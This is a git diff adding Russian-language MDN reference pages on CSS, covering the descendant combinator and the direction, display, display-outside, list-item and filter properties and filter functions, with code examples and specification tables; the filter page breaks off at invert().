Запрещает глобальные значения CSS (unset, initial и inherit), а также значения none, inline и outside. Также довольно много предопределённых значений используются в разных браузерах: disc, circle, square, decimal, cjk-decimal, decimal-leading-zero, lower-roman, upper-roman, lower-greek, lower-alpha, lower-latin, upper-alpha, upper-latin, arabic-indic, armenian, bengali, cambodian, cjk-earthly-branch, cjk-heavenly-stem, cjk-ideographic, devanagari, ethiopic-numeric, georgian, gujarati, gurmukhi, hebrew, hiragana, hiragana-iroha, japanese-formal, japanese-informal, kannada, katakana, katakana-iroha, khmer, korean-hangul-formal, korean-hanja-formal, korean-hanja-informal, lao, lower-armenian, malayalam, mongolian, myanmar, oriya, persian, simp-chinese-formal, simp-chinese-informal, tamil, telugu, thai, tibetan, trad-chinese-formal, trad-chinese-informal, upper-armenian, disclosure-open, and disclosure-close.
+
{{CSSxRef("grid-row-start")}}
+ {{CSSxRef("grid-row-end")}}
+ {{CSSxRef("grid-column-start")}}
+ {{CSSxRef("grid-column-end")}}
+
Запрещают значение span.
+
{{CSSxRef("will-change")}}
+
Запрещают глобальные значения CSS (unset, initial и inherit), а так же значения will-change, auto, scroll-position и contents.
+
+ +

Примеры

+ +

Действительные идентификаторы

+ +
nono79            Состоит из букв и цифр
+ground-level      Состоит из букв, цифр и дефиса
+-test             Буквы, следующие за одним дефисом
+_internal         Буквы, следующие за нижним подчёркиванием
+\22 toto          Буквы, следующие за символом Unicode
+bili\.bob         Буквы и экранированная точка
+
+ +

Недействительные идентификаторы

+ +
34rem             Не может начинаться с цифры
+-12rad            Не может начинаться с дефиса, за которым следует цифра
+bili.bob          Только буквы, цифры, _ и - можно не экранириовать
+--toto            Не может начинаться с двух дефисов подряд
+'bilibob'         Это тип <string>.
+"bilibob"         Это тип <string>.
+ +

Спецификации

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('CSS4 Values', '#custom-idents', '<custom-ident>')}}{{Spec2('CSS4 Values')}}
{{SpecName('CSS Will Change', '#valdef-will-change-custom-ident', '<custom-ident> for will-change')}}{{Spec2('CSS Will Change')}}Определяет, какие значения запрещены в {{CSSxRef("will-change")}}.
{{SpecName('CSS3 Counter Styles', '#typedef-counter-style-name', '<custom-ident> for list-style-type')}}{{Spec2('CSS3 Counter Styles')}}Начинает использовать <custom-ident> вместо конечного списка ключевых слов. Определяет, какие значения запрещены в {{CSSxRef("list-style-type")}} и {{CSSxRef("@counter-style")}}.
{{SpecName('CSS3 Lists', '#counter-properties', '<custom-ident> for counter-*')}}{{Spec2('CSS3 Lists')}}Переименовывает <identifier> в <custom-ident>. Добавляет возможность его использовать в свойстве counter-set.
{{SpecName('CSS3 Animations', '#typedef-single-animation-name', '<custom-ident> for animation-name')}}{{Spec2('CSS3 Animations')}}Определяет запрещённые значения для {{CSSxRef("animation-name")}}.
{{SpecName('CSS3 Values', '#custom-idents', '<custom-ident>')}}{{Spec2('CSS3 Values')}}Переименовывает <identifier> в <custom-ident>. Делает его псевдо-типом и запрещает использование некоторых значчений.
{{SpecName('CSS2.1', 'syndata.html#value-def-identifier', '<identifier>')}}{{Spec2('CSS2.1')}}Первое определение.
+ +

Совместимость с браузерами

+ +

As this type is not a real type but a convenience type used to simplify the description of allowed values, there is no browser compatibility information as such.

+ +

Смотрите также

+ +
    +
  • {{CSSxRef("<ident>")}}
    • +
diff --git a/files/ru/web/css/descendant_combinator/index.html b/files/ru/web/css/descendant_combinator/index.html new file mode 100644 index 0000000000..4498ab146b --- /dev/null +++ b/files/ru/web/css/descendant_combinator/index.html @@ -0,0 +1,115 @@ +--- +title: Селектор потомков +slug: Web/CSS/Descendant_combinator +translation_of: Web/CSS/Descendant_combinator +--- +

{{CSSRef("Selectors")}}

+ +

Описание

+ +

Комбинатор ␣ (пробел) представляет собой 2 или более селекторов, найдет элементы соответвующие обоим селекторам. Селекторы по потомкам похожи на селекторы дочерних элементов, но они не учитывают вложенность элементов и пременяют свои свойства ко всем элемнтам данного типа, находящимся внутри родительского элемента, независимо от глубины вложенности.

+ +

Синтаксис

+ +
selector1 selector2 {стили }
+
+ +

Пример

+ +
span { background-color: white; }
+div span { background-color: DodgerBlue; }
+
+ +
<div>
+  <span>Span 1
+    <span>Span 2</span>
+  </span>
+</div>
+<span>Span 3</span>
+
+ +

{{ EmbedLiveSample('Example', 200, 50) }}

+ +

Спецификации

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
СпецификацииСтатусКомментарий
{{ SpecName('CSS4 Selectors', '#descendant-combinators', 'descendant combinator') }}{{ Spec2('CSS4 Selectors') }} 
{{ SpecName('CSS3 Selectors', '#descendant-combinators', 'descendant combinator') }}{{ Spec2('CSS3 Selectors') }} 
{{ SpecName('CSS2.1', 'selector.html#descendant-selectors', 'descendant selectors') }}{{ Spec2('CSS2.1') }} 
{{ SpecName('CSS1', '#contextual-selectors', 'contextual selectors') }}{{ Spec2('CSS1') }}Изначальное определение
+ +

Поддержка браузерами

+ +

{{ CompatibilityTable() }}

+ +
+ + + + + + + + + + + + + + + + + + + +
ВозможностьChromeFirefox (Gecko)Internet ExplorerOperaSafari
Базовая поддержка{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}
+
+ +
+ + + + + + + + + + + + + + + + + + + +
ВозможностьAndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Базовая поддержка{{ CompatUnknown() }}{{ CompatUnknown() }}{{ CompatUnknown() }}{{ CompatUnknown() }}{{ CompatUnknown() }}
+
diff --git a/files/ru/web/css/direction/index.html b/files/ru/web/css/direction/index.html new file mode 100644 index 0000000000..b76f8a3824 --- /dev/null +++ b/files/ru/web/css/direction/index.html @@ -0,0 +1,99 @@ +--- +title: direction +slug: Web/CSS/direction +translation_of: Web/CSS/direction +--- +
{{CSSRef}}
+ +

The direction CSS property sets the direction of text, table columns, and horizontal overflow. Use rtl for languages written from right to left (like Hebrew or Arabic), and ltr for those written from left to right (like English and most other languages).

+ +
{{EmbedInteractiveExample("pages/css/direction.html")}}
+ + + +

Заметьте, что направление текста обычно задано в документе (т.е. с помощью HTML's dir attribute), а не посредством прямого использования свойства direction.

+ +

The property sets the base text direction of block-level elements and the direction of embeddings created by the {{Cssxref("unicode-bidi")}} property. It also sets the default alignment of text, block-level elements, and the direction that cells flow within a table row.

+ +

Unlike the dir attribute in HTML, the direction property is not inherited from table columns into table cells, since CSS inheritance follows the document tree, and table cells are inside of rows but not inside of columns.

+ +

The direction and {{cssxref("unicode-bidi")}} properties are the two only properties which are not affected by the {{cssxref("all")}} shorthand property.

+ +

Syntax

+ +
/* Keyword values */
+direction: ltr;
+direction: rtl;
+
+/* Global values */
+direction: inherit;
+direction: initial;
+direction: unset;
+
+ +

Values

+ +
+
ltr
+
Text and other elements go from left to right. This is the default value.
+
rtl
+
Text and other elements go from right to left.
+
+ +

For the direction property to have any effect on inline-level elements, the {{Cssxref("unicode-bidi")}} property's value must be embed or override.

+ +

Formal definition

+ +

{{cssinfo}}

+ +

Formal syntax

+ +
{{csssyntax}}
+ +

Examples

+ +

Setting right-to-left direction

+ +
blockquote {
+  direction: rtl;
+}
+
+ +

Specifications

+ + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('CSS3 Writing Modes', '#direction', 'direction')}}{{Spec2('CSS3 Writing Modes')}}No change.
{{SpecName('CSS2.1', 'visuren.html#direction', 'direction')}}{{Spec2('CSS2.1')}}Initial definition.
+ +

Browser compatibility

+ +
+ + +

{{Compat("css.properties.direction")}}

+
+ +

See also

+ +
    +
  • {{Cssxref("unicode-bidi")}}
    • +
  • {{Cssxref("writing-mode")}}
    • +
diff --git a/files/ru/web/css/display-listitem/index.html b/files/ru/web/css/display-listitem/index.html new file mode 100644 index 0000000000..4eee12345e --- /dev/null +++ b/files/ru/web/css/display-listitem/index.html @@ -0,0 +1,52 @@ +--- +title: +slug: Web/CSS/display-listitem +tags: + - CSS + - CSS Data Type + - CSS Display + - Reference + - list-item + - Справка +translation_of: Web/CSS/display-listitem +--- +
{{CSSRef}}
+ +

Ключевое слово list-item приводит к тому, что элемент генерирует ::marker псевдо-элемент с определяемыми {{cssxref("list-style")}} свойствами (например, маркерной точкой) вместе с основным блоком указанного типа для его  содержимого.

+ +

Синтаксис

+ +

Единственное значение list-item приведет к тому, что элемент будет вести себя как элемент списка. Это можно использовать вместе с {{CSSxRef("list-style-type")}} и {{CSSxRef("list-style-position")}}.

+ +
+

Примечание:В браузерах, поддерживающих двухзначный синтаксис, если внутреннее значение не указано, по умолчанию оно будет flow. Если внешнее значение не указано, основной блок будет иметь внешний вид отображения (outer display type) block.

+
+ +

Пример

+ +

HTML

+ +

+<div class="fake-list">I will display as a list item</div>
+
+ +

CSS

+ +

+.fake-list {
+  display: list-item;
+  list-style-position: inside;
+}
+
+ +

Результат

+ +

{{EmbedLiveSample("Example", "100%", 150)}}

+ +

Совместимость с браузерами

+ + + +

Поддержка list-item

+ +

{{Compat("css.properties.display.list-item", 10)}}

diff --git a/files/ru/web/css/display-outside/index.html b/files/ru/web/css/display-outside/index.html new file mode 100644 index 0000000000..60ee3de15e --- /dev/null +++ b/files/ru/web/css/display-outside/index.html @@ -0,0 +1,75 @@ +--- +title: +slug: Web/CSS/display-outside +tags: + - CSS + - CSS Data Type + - CSS Display + - Reference + - display-outside + - Справка +translation_of: Web/CSS/display-outside +--- +
{{CSSRef}}
+ +

Ключевые слова <display-outside>  определяют внешний тип отображения элемента (outer {{CSSxRef("display")}} type), который играет существенную роль в схеме потока. Эти ключевые слова используются как значения свойства display и могут быть использованы в целях преемственности как единственное ключевое слово или, как определено в рамках спецификации Level 3, наряду со значением из  {{CSSxRef("<display-inside>")}}.

+ +

Синтаксис

+ +

Значение <display-outside> определяется с использованием ключевого слова из списка ниже:

+ +

Значения

+ +
+
block
+
Элемент генерирует бокс элемента, создавая разрывы линий, как перед, так и после элемента, при условии нормального потока.
+
inline
+
Элемент создает один или более строковых (inline) боксов элемента, которые не создают разрывов строк перед собой или после себя. В нормальном потоке следующий элемент будет находиться на той же линии, если есть пробел.
+
run-in {{Experimental_Inline}}
+
Элемент генерирует run-in бокс. Если соседний родственный (sibling) элемент определен как display: run-in, тогда  бокс является блоковым боксом, run-in бокс становится первым строковым (inline) боксом блокового бокса, который следует за ним. 
+
+ Run-in элементы ведут себя как строковые (inlines) или блоковые, в зависимости от окружающих элементов. Если run-in бокс содержит блоковый бокс, тогда он сам считается блоковым. Если блоковый бокс следует за run-in боксом, тогда run-in бокс становится первым строковым (inline) боксом блокового бокса. Если за ним следует строковый (inline) бокс, тогда run-in бокс становится блоковым боксом.
+
+ +
+

Замечание: Браузеры, поддерживающие двузначный синтаксис значений, при обнаружении только внешнего значения, например, при отображении display: block или display: inline,  установят внутреннее значение как flow.  Это приведет к ожидаемому поведению; например, если вы укажете элемент, который будет блоком, вы ожидаете, что его дочерние элементы будут участвовать в блочной и строковой разметке нормального потока.

+
+ +

Пример

+ +

В следующем примере элементы span (обычно отображаемые как строковые элементы) устанавливаются в display: block и поэтому разбиваются на новые строки и расширяются, чтобы заполнить их контейнер в строковом измерении.

+ +

HTML

+ +

+<span>span 1</span>
+<span>span 2</span>
+ +

CSS

+ +

+span {
+    display: block;
+    border: 1px solid rebeccapurple;
+}
+ +

Result

+ +

{{EmbedLiveSample("Example", 300, 60)}}

+ +

Совместимость с браузерами

+ + + +

Support of run-in

+ +

{{Compat("css.properties.display.run-in", 10)}}

+ +

Смотрите также

+ + diff --git a/files/ru/web/css/display/index.html b/files/ru/web/css/display/index.html new file mode 100644 index 0000000000..3c40e975d0 --- /dev/null +++ b/files/ru/web/css/display/index.html @@ -0,0 +1,218 @@ +--- +title: display +slug: Web/CSS/display +tags: + - CSS + - CSS Display + - CSS Property + - Reference + - display + - Справка +translation_of: Web/CSS/display +--- +
{{CSSRef}}
+ +

Свойство display (CSS) определяет тип отображения (display type) элемента, имеющий два основных свойства, определяющих генерацию боксов — внешний тип отображения определяет расположение бокса в схеме потока (flow layout) и внутренний тип отображения определяет расположение дочерних элементов бокса (бокс - это прямоугольная область, являющаяся изображением элемента).

+ +

Некоторые значения свойства display полностью определены в их индивидуальных спецификациях; смотрите таблицу в конце этого документа со ссылками на все релевантные спецификации. Полный список значений приведен ниже.

+ +
/* <display-outside> values */
+display: block;
+display: inline;
+display: run-in;
+
+/* <display-inside> values */
+display: flow;
+display: flow-root;
+display: table;
+display: flex;
+display: grid;
+display: ruby;
+
+/* <display-outside> plus <display-inside> values */
+display: block flow;
+display: inline table;
+display: flex run-in;
+
+/* <display-listitem> values */
+display: list-item;
+display: list-item block;
+display: list-item inline;
+display: list-item flow;
+display: list-item flow-root;
+display: list-item block flow;
+display: list-item block flow-root;
+display: flow list-item block;
+
+/* <display-internal> values */
+display: table-row-group;
+display: table-header-group;
+display: table-footer-group;
+display: table-row;
+display: table-cell;
+display: table-column-group;
+display: table-column;
+display: table-caption;
+display: ruby-base;
+display: ruby-text;
+display: ruby-base-container;
+display: ruby-text-container;
+
+/* <display-box> values */
+display: contents;
+display: none;
+
+/* <display-legacy> values */
+display: inline-block;
+display: inline-table;
+display: inline-flex;
+display: inline-grid;
+
+/* Global values */
+display: inherit;
+display: initial;
+display: unset;
+
+ +

{{CSSInfo}}

+ +

Синтаксис

+ +

Свойство display задается с помощью ключевых слов. Ключевые слова группируются по шести категориям:

+ +
+
{{CSSxRef("<display-outside>")}}
+
Эти ключевые слова определяют внешний тип отображения (outer display type) элемента, который играет существенную роль в схеме потока.
+
{{CSSxRef("<display-inside>")}}
+
Эти ключевые слова определяют внутренний тип отображения ( inner display type) элемента, который определяет тип контекста форматирования, в котором располагается его содержимое (при условии, что это незаменяемый элемент).
+
{{CSSxRef("<display-listitem>")}}
+
Создает блоковый бокс для контента и отдельный строковый (inline) бокс для элемента списка.
+
{{CSSxRef("<display-internal>")}}
+
Некоторые модели разметки, такие как table и ruby, имеют сложную внутреннюю структуру с несколькими различными ролями, которые могут выполнять их дочерние элементы и потомки. Этот раздел определяет те "внутренние" значения отображения, которые имеют смысл только в рамках этих конкретных методов разметок.
+
{{CSSxRef("<display-box>")}}
+
Эти значения определяют, генерирует ли элемент отображение боксов вообще.
+
{{CSSxRef("<display-legacy>")}}
+
В CSS 2 используется синтаксис с одним ключевым словом для свойства display, для которого требуются отдельные ключевые слова для блокового и строкового уровней одного способа разметки.
+
<display-xul> {{Non-standard_Inline}}{{Deprecated_Inline(62)}}
+
Значения, используемые только в Firefox, в основном, для стилизации. XUL documents.
+
+ +

"Наследственные" значения отображения

+ +

Спецификация уровня 3 подразумевает два значения для свойства display — позволяет специфицировать внешний и внутренний тип отображения явно — но это поддерживается браузерами пока недостаточно хорошо.

+ +

Методы display-legacy позволяют получать такие же результаты с одиночными значениями ключевых слов и должны поддерживаться разработчиками до тех пор, пока два значения ключевых слов не будут лучше поддерживаться. Например, используя два значения, вы можете задать строковый (inline) flex контейнер следующим образом:

+ +
.container {
+    display: inline flex;
+}
+ +

В настоящее время это можно задать с помощью одного значения.

+ +
.container {
+    display: inline-flex;
+}
+
+ +

Формальный синтаксис

+ +
{{CSSSyntax}}
+ +

Примеры

+ +

В разделе {{anch("Syntax")}} содержатся несколько примеров для разных типов значений display, которые это свойство может принимать.

+ +

Кроме того, вы можете найти подробные объяснения способов разметки для определенных значений display в других статьях на MDN:

+ + + +

Доступность

+ +

display: none;

+ +

Если свойство display принимает значение none на элементе,  то элемент удаляется из дерева доступности. Это приводит к тому, что элемент и все его дочерние элементы больше не будут восприниматься технологиями чтения экрана.

+ +

Если вы хотите визуально скрыть элемент, более доступной альтернативой является использование комбинации свойств для визуального удаления изображения с экрана, но это сохраняет его для синтаксического анализа с помощью вспомогательных технологий, таких как считыватели экрана.

+ +

display: contents;

+ +

Браузеры удаляют любой элемент со свойством display, имеющим значение contents из  дерева доступности. Это приводит к тому, что элемент (но не его дочерние элементы) больше не будут восприниматься технологиями чтения экрана. Дочерние элементы становятся дочерними элементами элемента следующего уровня в DOM.

+ + + +

Таблицы

+ +

Если у элемента {{HTMLElement("table")}} изменить значение свойства display на block, grid или flex, это изменит его представление в  дереве доступности. Это приводит к тому, что таблица не будет объявлена должным образом с помощью технологии чтения экрана.

+ + + +

Спецификации

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
СпецификацияСтатусКомментарий
{{SpecName('CSS3 Display', '#the-display-properties', 'display')}}{{Spec2('CSS3 Display')}}Добавлены run-in, flow, flow-root, contents и multi-keyword значения.
{{SpecName('CSS3 Ruby', '#ruby-display', 'display')}}{{Spec2('CSS3 Ruby')}}Добавлены ruby, ruby-base, ruby-text, ruby-base-container и ruby-text-container.
{{SpecName('CSS3 Grid', '#grid-containers', 'display')}}{{Spec2('CSS3 Grid')}}Добавлены значения модели grid бокс.
{{SpecName('CSS3 Flexbox', '#flex-containers', 'display')}}{{Spec2('CSS3 Flexbox')}}Добавлены значения модели flexible бокс.
{{SpecName('CSS2.1', 'visuren.html#display-prop', 'display')}}{{Spec2('CSS2.1')}}Добавлены значения модели table и inline-block.
{{SpecName('CSS1', '#display', 'display')}}{{Spec2('CSS1')}}Начальное определение. Базовые значения: none, block, inline и list-item.
+ +

Совместимость с браузерами

+ + + +

{{Compat("css.properties.display", 10)}}

+ +

Смотрите также

+ + diff --git a/files/ru/web/css/filter-function/blur()/index.html b/files/ru/web/css/filter-function/blur()/index.html new file mode 100644 index 0000000000..c2df200b45 --- /dev/null +++ b/files/ru/web/css/filter-function/blur()/index.html @@ -0,0 +1,44 @@ +--- +title: blur() +slug: Web/CSS/filter-function/blur() +translation_of: Web/CSS/filter-function/blur() +--- +
{{cssref}}
+ +

Функция CSS blur() применяет размытие по Гауссу к входному изображению. Его результатом является {{cssxref("<filter-function>")}}.

+ +
{{EmbedInteractiveExample("pages/css/function-blur.html")}}
+ + + +

Синтаксис

+ +
blur(radius)
+ +

Параметры

+ +
+
radius
+
Радиус размытия, выраженный в {{cssxref("<length>")}}. Он определяет отклонение от стандартной функции Гаусса, то есть как много пикселей на экране смешиваются друг с другом. Таким образом, большее значение даст большее размытие. Значение 0 оставит изображение без изменений.
+
+ +

Пример

+ +
blur(0)        /* Без эффекта */
+blur(8px)      /* Размытие с радиусом 8px */
+blur(1.17rem)  /* Размытие с радиусом 1.17rem */
+ +

Смотрите также

+ +
    +
  • {{cssxref("<filter-function>")}}
    • +
  • {{cssxref("filter-function/brightness", "brightness()")}}
    • +
  • {{cssxref("filter-function/contrast", "contrast()")}}
    • +
  • {{cssxref("filter-function/drop-shadow", "drop-shadow()")}}
    • +
  • {{cssxref("filter-function/grayscale", "grayscale()")}}
    • +
  • {{cssxref("filter-function/hue-rotate", "hue-rotate()")}}
    • +
  • {{cssxref("filter-function/invert", "invert()")}}
    • +
  • {{cssxref("filter-function/opacity", "opacity()")}}
    • +
  • {{cssxref("filter-function/saturate", "saturate()")}}
    • +
  • {{cssxref("filter-function/sepia", "sepia()")}}
    • +
diff --git a/files/ru/web/css/filter-function/index.html b/files/ru/web/css/filter-function/index.html new file mode 100644 index 0000000000..abfdfa7ae5 --- /dev/null +++ b/files/ru/web/css/filter-function/index.html @@ -0,0 +1,62 @@ +--- +title: +slug: Web/CSS/filter-function +tags: + - фильтры +translation_of: Web/CSS/filter-function +--- +
{{cssref}}
+ +

Тип данных CSS <filter-function> представляет собой графический эффект, который может изменить внешний вид входного изображения. Он используется в свойствах {{cssxref("filter")}} и {{cssxref("backdrop-filter")}}.

+ +

Синтаксис

+ +

Тип данных <filter-function> указывается с использованием одной из функций, указанных ниже. Каждая функция требует аргумент, который, если он неверен, не приводит к применению фильтра.

+ +
+
{{cssxref("filter-function/blur", "blur()")}}
+
Применяет эффект размытия к изображению.
+
{{cssxref("filter-function/brightness", "brightness()")}}
+
Делает изображение ярче или темнее.
+
{{cssxref("filter-function/contrast", "contrast()")}}
+
Увеличивает или уменьшает контрастность изображения.
+
{{cssxref("filter-function/drop-shadow", "drop-shadow()")}}
+
Применяет к изображению тень.
+
{{cssxref("filter-function/grayscale", "grayscale()")}}
+
Преобразует изображение к тонам серого.
+
{{cssxref("filter-function/hue-rotate", "hue-rotate()")}}​​​​​​​
+
Изменяет оттенок изображения за счёт поворота на цветовом круге.
+
{{cssxref("filter-function/invert", "invert()")}}
+
Инвертирует цвета изображения.
+
{{cssxref("filter-function/opacity", "opacity()")}}
+
Изменяет прозрачность изображения.
+
{{cssxref("filter-function/saturate", "saturate()")}}
+
Изменяет насыщенность цветов изображения.
+
{{cssxref("filter-function/sepia", "sepia()")}}
+
Преобразует изображение в сепию.
+
+ +

Спецификация

+ + + + + + + + + + + + + + + + +
СпецификацияСтатусКомментарии
{{ SpecName('Filters 1.0', '#typedef-filter-function', '<filter-function>') }}{{ Spec2('Filters 1.0') }}Первое определение.
+ +

Смотрите также

+ +
    +
  • Свойства, которые используют этот тип данных: {{cssxref("filter")}} и {{cssxref("backdrop-filter")}}
    • +
diff --git a/files/ru/web/css/filter-function/url/index.html b/files/ru/web/css/filter-function/url/index.html new file mode 100644 index 0000000000..3a943810ef --- /dev/null +++ b/files/ru/web/css/filter-function/url/index.html @@ -0,0 +1,34 @@ +--- +title: url() +slug: Web/CSS/filter-function/url +tags: + - CSS + - Начинающий + - Ссылка + - Функция +translation_of: Web/CSS/url() +--- +
{{cssref}}
+ +

url() - это CSS функция, использующая SVG filter для измения внешнего вида у выводимого изображения.

+ +

Синтаксис

+ +
url(расположение)
+ +

Параметры

+ +
+
расположение
+
В {{cssxref("<URL-адрес>")}} из {{glossary("XML")}} указывается файл, который задает фильтр SVG, а также может включать в себя привязки к конкретному фильтрующему элементу.
+
+ +

Пример

+ +
url(resources.svg#c1)
+ +

Изучите также

+ + diff --git a/files/ru/web/css/filter/index.html b/files/ru/web/css/filter/index.html new file mode 100644 index 0000000000..ba55a20e4a --- /dev/null +++ b/files/ru/web/css/filter/index.html @@ -0,0 +1,1124 @@ +--- +title: filter +slug: Web/CSS/filter +tags: + - CSS + - SVG + - SVG фильтр + - filter + - Свойство CSS + - Ссылка +translation_of: Web/CSS/filter +--- +
{{CSSRef}}{{SeeCompatTable}}
+ +

Описание

+ +

CSS свойство filter  позволяет Вам применять к элементу такие графические эффекты, как размытие и смещение цвета. Фильтры обычно используются для регулировки рендеринга изображений, фонов и рамок.

+ +

В стандарт CSS включены несколько функций, которые обеспечивают предопределенные эффекты. Вы также можете ссылаться на SVG фильтр с URL-адресом на элемент фильтра SVG.

+ +
Предупреждение: Старые версии (с 4.0 до 9.0) браузера Windows Internet Explorer поддерживают нестандартный "filter", который с тех пор устарел.
+ +

{{cssinfo}}

+ +

Синтаксис

+ +
filter: url(resources.svg);
+filter: blur(5px);
+filter: brightness(0.4);
+filter: contrast(200%);
+filter: drop-shadow(16px 16px 20px blue);
+filter: grayscale(50%);
+filter: hue-rotate(90deg);
+filter: invert(75%);
+filter: opacity(25%);
+filter: saturate(30%);
+filter: sepia(60%);
+
+/* Применение нескольких фильтров */
+filter: contrast(175%) brightness(3%);
+
+/* Глобальные значения */
+filter: inherit;
+filter: initial;
+filter: unset;
+
+ +

С помощью функции, используйте:

+ +
filter: <filter-function> [<filter-function>]* | none
+
+ +

Для ссылки на SVG {{SVGElement("filter")}} элемент, используйте:

+ +
filter: url(svg-url#element-id)
+
+ +

Формальный синтаксис

+ +
{{csssyntax}}
+ +

Примеры

+ +

Примеры использования предопределённых функций показаны ниже. См. каждую функцию для конкретного примера.

+ +
.mydiv { filter: grayscale(50%) }
+
+/* сделать все изображения серыми на 50% и размыть на 10px */
+img {
+  filter: grayscale(0.5) blur(10px);
+}
+ +

Примеры использования функции URL с SVG ресурсом показаны ниже.

+ +
.target { filter: url(#c1); }
+
+.mydiv { filter: url(commonfilters.xml#large-blur) }
+
+ +

Функции

+ +

Для использования CSS свойства filter, Вы указываете значение для одной из выбранных функций. Если это значение недействительно, функция возвращает "none." За исключением тех случаев, когда функции, которые принимают значение, выраженное в процентах (34%), также принимают значение, выраженное как десятичная дробь (0.34).

+ +

url()

+ +

The url() function takes the location of an XML file that specifies an SVG filter, and may include an anchor to a specific filter element.

+ +
filter: url(resources.svg#c1)
+
+ +

blur() [размытие]

+ +

Applies a Gaussian blur to the input image. The value of ‘radius’ defines the value of the standard deviation to the Gaussian function, or how many pixels on the screen blend into each other, so a larger value will create more blur. If no parameter is provided, then a value 0 is used. The parameter is specified as a CSS length, but does not accept percentage values.

+ +
filter: blur(5px)
+
+ + + +
<svg style="position: absolute; top: -99999px" xmlns="http://www.w3.org/2000/svg">
+  <filter id="svgBlur" x="-5%" y="-5%" width="110%" height="110%">
+    <feGaussianBlur in="SourceGraphic" stdDeviation="5"/>
+  </filter>
+</svg>
+ +

{{EmbedLiveSample('blur_example','100%','236px','')}}

+ +

brightness() [яркость]

+ +

Applies a linear multiplier to input image, making it appear more or less bright. A value of 0% will create an image that is completely black. A value of 100% leaves the input unchanged. Other values are linear multipliers on the effect. Values of an amount over 100% are allowed, providing brighter results. If the ‘amount’ parameter is missing, a value of 1 is used.

+ +
filter: brightness(0.5)
+ +
<svg style="position: absolute; top: -99999px" xmlns="http://www.w3.org/2000/svg">
+ <filter id="brightness">
+    <feComponentTransfer>
+        <feFuncR type="linear" slope="[amount]"/>
+        <feFuncG type="linear" slope="[amount]"/>
+        <feFuncB type="linear" slope="[amount]"/>
+    </feComponentTransfer>
+  </filter>
+</svg>
+ + + +

{{EmbedLiveSample('brightness_example','100%','231px','')}}

+ +

contrast() [контраст]

+ +

Adjusts the contrast of the input. A value of 0% will create an image that is completely black. A value of 100% leaves the input unchanged. Values of amount over 100% are allowed, providing results with less contrast. If the ‘amount’ parameter is missing, a value of 1 is used.

+ +
filter: contrast(200%)
+
+ +
<svg style="position: absolute; top: -99999px" xmlns="http://www.w3.org/2000/svg">
+  <filter id="contrast">
+    <feComponentTransfer>
+      <feFuncR type="linear" slope="[amount]" intercept="-(0.5 * [amount]) + 0.5"/>
+      <feFuncG type="linear" slope="[amount]" intercept="-(0.5 * [amount]) + 0.5"/>
+      <feFuncB type="linear" slope="[amount]" intercept="-(0.5 * [amount]) + 0.5"/>
+    </feComponentTransfer>
+  </filter>
+</svg>
+
+ + + +

{{EmbedLiveSample('contrast_example','100%','203px','')}}

+ +

drop-shadow() [тень]

+ +

Applies a drop shadow effect to the input image. A drop shadow is effectively a blurred, offset version of the input image's alpha mask drawn in a particular color, composited below the image. The function accepts a parameter of type <shadow> (defined in CSS3 Backgrounds), with the exception that the ‘inset’ keyword is not allowed. This function is similar to the more established {{cssxref("box-shadow")}} property; the difference is that with filters, some browsers provide hardware acceleration for better performance. The parameters of the <shadow> parameter are as follows.

+ +
+
<offset-x> <offset-y> (required)
+
These are two {{cssxref("<length>")}} values to set the shadow offset. <offset-x> specifies the horizontal distance. Negative values place the shadow to the left of the element. <offset-y> specifies the vertical distance. Negative values place the shadow above the element. See {{cssxref("<length>")}} for possible units.
+ If both values are 0, the shadow is placed behind the element (and may generate a blur effect if <blur-radius> and/or <spread-radius> is set).
+
<blur-radius> (optional)
+
This is a third {{cssxref("<length>")}} value. The larger this value, the bigger the blur, so the shadow becomes bigger and lighter. Negative values are not allowed. If not specified, it will be 0 (the shadow's edge is sharp).
+
<spread-radius> (optional)
+
This is a fourth {{cssxref("<length>")}} value. Positive values will cause the shadow to expand and grow bigger, and negative values will cause the shadow to shrink. If not specified, it will be 0 (the shadow will be the same size as the element). 
+ Note: Webkit, and maybe other browsers, do not support this 4th length; it will not render if added.
+
<color> (optional)
+
See {{cssxref("<color>")}} values for possible keywords and notations. If not specified, the color depends on the browser. In Gecko (Firefox), Presto (Opera) and Trident (Internet Explorer), the value of the {{cssxref("color")}} property is used. On the other hand, WebKit's shadow is transparent and therefore useless if <color> is omitted.
+
+ +
filter: drop-shadow(16px 16px 10px black)
+ +
<svg style="position: absolute; top: -999999px" xmlns="http://www.w3.org/2000/svg">
+ <filter id="drop-shadow">
+    <feGaussianBlur in="SourceAlpha" stdDeviation="[radius]"/>
+    <feOffset dx="[offset-x]" dy="[offset-y]" result="offsetblur"/>
+    <feFlood flood-color="[color]"/>
+    <feComposite in2="offsetblur" operator="in"/>
+    <feMerge>
+      <feMergeNode/>
+      <feMergeNode in="SourceGraphic"/>
+    </feMerge>
+  </filter>
+</svg>
+
+ + + +

{{EmbedLiveSample('shadow_example','100%','300px','')}}

+ +

grayscale() [оттенки серого]

+ +

Converts the input image to grayscale. The value of ‘amount’ defines the proportion of the conversion. A value of 100% is completely grayscale. A value of 0% leaves the input unchanged. Values between 0% and 100% are linear multipliers on the effect. If the ‘amount’ parameter is missing, a value of 0 is used.

+ +
filter: grayscale(100%)
+ + + +

{{EmbedLiveSample('grayscale_example','100%','209px','')}}

+ +

hue-rotate() [изменение оттенка]

+ +

Applies a hue rotation on the input image. The value of ‘angle’ defines the number of degrees around the color circle the input samples will be adjusted. A value of 0deg leaves the input unchanged. If the ‘angle’ parameter is missing, a value of 0deg is used. Though there is no maximum value, the effect of values above 360deg wraps around.

+ +
filter: hue-rotate(90deg)
+ + + +
<svg style="position: absolute; top: -999999px" xmlns="http://www.w3.org/2000/svg">
+  <filter id="svgHueRotate" >
+    <feColorMatrix type="hueRotate" values="[angle]" />
+  <filter />
+</svg>
+ +

{{EmbedLiveSample('huerotate_example','100%','221px','')}}

+ +

invert() [инвертирование]

+ +

Inverts the samples in the input image. The value of ‘amount’ defines the proportion of the conversion. A value of 100% is completely inverted. A value of 0% leaves the input unchanged. Values between 0% and 100% are linear multipliers on the effect. If the ‘amount’ parameter is missing, a value of 0 is used.

